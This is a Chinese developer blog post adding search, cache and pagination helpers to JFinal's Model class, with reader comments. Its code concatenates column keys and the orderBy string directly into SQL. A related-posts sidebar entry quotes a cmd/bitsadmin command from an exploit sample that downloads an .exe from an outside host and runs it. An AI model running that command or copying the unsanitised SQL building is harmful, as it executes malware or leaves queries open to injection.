文档章节

给JFinal的Model添加search,简化简单多条件查询。

玛雅牛
 玛雅牛
发布于 2013/06/11 14:47
字数 514
阅读 3912
收藏 16

改造com.jfinal.plugin.activerecord.Model 类。

这个对于简单的多查询条件的检索页面有一定的帮助。

添加表名变量及设定方法。

private String tableName;

	protected void setTableName(String tableName){
		this.tableName = tableName;
	}
添加以下方法:
private void checkTableName(){
		if (StringKit.isBlank(tableName))
			throw new IllegalArgumentException("tableName can not be blank,please setTableName(tableName)");
	}

	public M searchFirst(String key, Object value) {
		List<M> mList =  search(key, value, "");
		return mList!=null && mList.size()>0 ? mList.get(0):null;
	}

	public List<M> search(String key, Object value) {
		return search(key, value, "");
	}

	public List<M> search(String key, Object value, String orderBy) {
		checkTableName();
		String sql = "select * from " + tableName + " where "+ key +"=? " + orderBy;
		return find(sql, value);
	}

	public M searchFirst(Map<String, Object> maps) {
		List<M> mList =  search(maps, "");
		return mList!=null && mList.size()>0 ? mList.get(0):null;
	}

	public List<M> search(Map<String, Object> maps) {
		return search(maps, "");
	}

	public List<M> search(Map<String, Object> maps, String orderBy) {
		checkTableName();
		StringBuilder sb = new StringBuilder();
		sb.append("select * from ").append(tableName).append(" where 1=1 ");
		List<Object> values = new ArrayList<Object>();
		for(Entry<String,Object> entry:maps.entrySet()){
			if(entry.getValue() != null){
				sb.append(" and ").append(entry.getKey()).append("=?");
				values.add(entry.getValue());
			}
		}
		sb.append(" ").append(orderBy);
		return find(sb.toString(), values.toArray());
	}

	public List<M> searchByCache(String cacheName, Object key, Map<String, Object> maps){
		return this.searchByCache(cacheName, key, maps,"");
	}

	public List<M> searchByCache(String cacheName, Object key, Map<String, Object> maps, String orderBy) {
		checkTableName();
		ICache cache = DbKit.getCache();
		List<M> result = cache.get(cacheName, key);
		if (result == null) {
			result = search(maps);
			cache.put(cacheName, key, result);
		}
		return result;
	}

	public Page<M> searchPaginate(int pageNumber, int pageSize, Map<String, Object> maps){
		return this.searchPaginate(pageNumber, pageSize, maps, "");
	}

	public Page<M> searchPaginate(int pageNumber, int pageSize, Map<String, Object> maps, String orderBy) {
		checkTableName();
		StringBuilder sb = new StringBuilder();
		sb.append("from ").append(tableName).append(" where 1=1");
		List<Object> values = new ArrayList<Object>();
		for(Entry<String,Object> entry:maps.entrySet()){
			if(entry.getValue() != null){
				sb.append(" and ").append(entry.getKey()).append("=?");
				values.add(entry.getValue());
			}
		}
		return paginate(pageNumber, pageSize, "select *", sb.toString(),values.toArray());
	}

	public Page<M> searchPaginateByCache(String cacheName, Object key, int pageNumber, int pageSize, Map<String, Object> maps) {
		return this.searchPaginateByCache(cacheName, key, pageNumber, pageSize, maps, "");
	}

	public Page<M> searchPaginateByCache(String cacheName, Object key, int pageNumber, int pageSize, Map<String, Object> maps, String orderBy) {
		checkTableName();
		ICache cache = DbKit.getCache();
		Page<M> result = cache.get(cacheName, key);
		if (result == null) {
			result = searchPaginate(pageNumber, pageSize, maps, orderBy);
			cache.put(cacheName, key, result);
		}
		return result;
	}
调用示例:
public class Children extends Model<Children>{

	private static final long serialVersionUID = -146846348250148850L;

	private static final String KEY_SCHOOL_ID = "school_id";
	private static final String KEY_NAME = "name";
	private static final String KEY_CLASS_ID= "class_id";
	private static final String KEY_STATUS = "status";
	private static final int STATUS_OK = 0;

	public static final Children dao = new Children();

	public Children(){
		this.setTableName("children");
	}

	public List<Children> getChildrenOfClass(int classId){
		return Children.dao.search(KEY_CLASS_ID, classId);
	}

	public List<Children> findChildrenByName(int schoolId, String name){
		Map<String, Object> conds= new HashMap <String, Object>();
		conds.put(KEY_SCHOOL_ID, schoolId);
		conds.put(KEY_NAME, name);
		conds.put(KEY_STATUS, STATUS_OK);
		return dao.search(conds);
	}
}

© 著作权归作者所有

共有 人打赏支持
玛雅牛

玛雅牛

粉丝 479
博文 113
码字总数 27287
作品 4
高级程序员
加载中

评论(6)

龅牙驴
龅牙驴
@JFinal @玛雅牛 这个模块有计划加到JFinal框架里吗?
huntxt
huntxt
增加了一些关于MAP的处理,代码:http://my.oschina.net/u/1178318/blog/151941
真的农夫三拳
真的农夫三拳

引用来自“JFinal”的评论

谢谢分享,顶一个,可以这样获取表名,从而更省代码:
TableInfoMapping.me().getTableInfo(getClass()).getTableName();

建议将这个方法加入到Model中,否调用时书写太复杂了
玛雅牛
玛雅牛

引用来自“JFinal”的评论

谢谢分享,顶一个,可以这样获取表名,从而更省代码:
TableInfoMapping.me().getTableInfo(getClass()).getTableName();

已经修改代码了。多谢。
JFinal
JFinal
谢谢分享,顶一个,可以这样获取表名,从而更省代码:
TableInfoMapping.me().getTableInfo(getClass()).getTableName();
胡小强
胡小强
顶下,不错
确实方便多了
使用Freesql简单地实现多条件查询

在实际应用中我们经常会遇到多条件查询的情景,以往的解决方案是在java中对各个参数值进行非空之类的判断,再进行sql及参数的拼凑。 其实还有更简单的解决方法的--用Freemarker。Freemarker可...

jse7en
2014/03/23
0
4
OSC上关于Jfinal的提问整理(一)

看见Jfinal很火,就手痒痒了,想学一下,无奈入门较慢,没有找到比较全的文档。于是就经常看讨论区大家的提问与解答。后来就忽然萌生了整理下来的想法。其中的问题如果是@Jfinal 回答的,那我...

木川瓦兹
2013/04/23
0
21
jFinal+AngularJs未来javaEE开发的趋势——程序员的福音

最近有意无意、机缘巧合之下认识了两个新的WEB框架,其中一个是后端框架叫JFinal,看名字就让人觉得为之一振,最后的、最终的,没错它的意思就是“我是JavaEE的终极框架”,没有比这更好的啦...

moz1q1
2014/08/05
0
2
基于JFinal实现的权限管理系统 JFinalUIB

项目用到了众多的开源组件,还有一些是网络分享的学习示例代码片段,感谢他们!!! JFinal高级学习交流QQ群:309647612 代码库地址:http://git.oschina.net/dongcb678/JfinalUIB.git 项目背景...

littleant
2014/06/03
0
35
OSC上关于Jfinal的提问整理(二)

1.【问】:Db.tx(new IAtom())事务不起作用? 【jfinal答】:1:如果使用的mysql,确保引擎为 InnoDB 2:这行代码改一下Db.save(c3p0Plugin.getDataSource(), "tbtest", "PKID", record);去掉...

木川瓦兹
2013/04/25
0
2

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
10分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
23分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
24分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
35分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部